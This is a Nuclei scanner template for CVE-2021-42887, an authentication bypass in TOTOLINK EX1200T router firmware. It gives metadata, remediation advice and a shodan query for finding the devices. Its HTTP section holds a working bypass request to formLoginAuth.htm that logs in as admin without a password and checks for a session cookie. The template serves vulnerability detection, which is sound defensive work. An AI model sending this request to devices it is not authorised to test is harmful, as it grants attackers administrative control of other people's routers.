53 lines
1.8 KiB
YAML
53 lines
1.8 KiB
YAML
id: CVE-2021-42887
|
|
|
|
info:
|
|
name: TOTOLINK EX1200T 4.1.2cu.5215 - Authentication Bypass
|
|
author: gy741
|
|
severity: critical
|
|
description: |
|
|
TOTOLINK EX1200T 4.1.2cu.5215 is susceptible to authentication bypass. An attacker can bypass login by sending a specific request through formLoginAuth.htm, thus potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
|
|
remediation: |
|
|
Apply the latest firmware update provided by TOTOLINK to fix the authentication bypass vulnerability.
|
|
reference:
|
|
- https://github.com/p1Kk/vuln/blob/main/totolink_ex1200t_login_bypass.md
|
|
- https://nvd.nist.gov/vuln/detail/cve-2021-42887
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-42887
|
|
cwe-id: CWE-287
|
|
epss-score: 0.02247
|
|
epss-percentile: 0.88371
|
|
cpe: cpe:2.3:o:totolink:ex1200t_firmware:4.1.2cu.5215:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: totolink
|
|
product: ex1200t_firmware
|
|
shodan-query: title:"TOTOLINK"
|
|
tags: totolink,auth-bypass,cve,cve2021,router
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /login.htm HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
GET /formLoginAuth.htm?authCode=1&userName=admin&goURL=&action=login HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_1
|
|
words:
|
|
- "TOTOLINK"
|
|
|
|
- type: word
|
|
part: header_2
|
|
words:
|
|
- "Set-Cookie: SESSION_ID="
|
|
|
|
- type: status
|
|
status:
|
|
- 302
|
|
# digest: 4b0a00483046022100af148e936d5741f7949f31f1f41ff24a12d853edaeae9c3769772fb16f3849ec022100f8a44530ab2cc29d6194820f706e0666ffabfbd1bda4f1a0ed844afcfe7da0bf:922c64590222798bb761d5b6d8e72950 |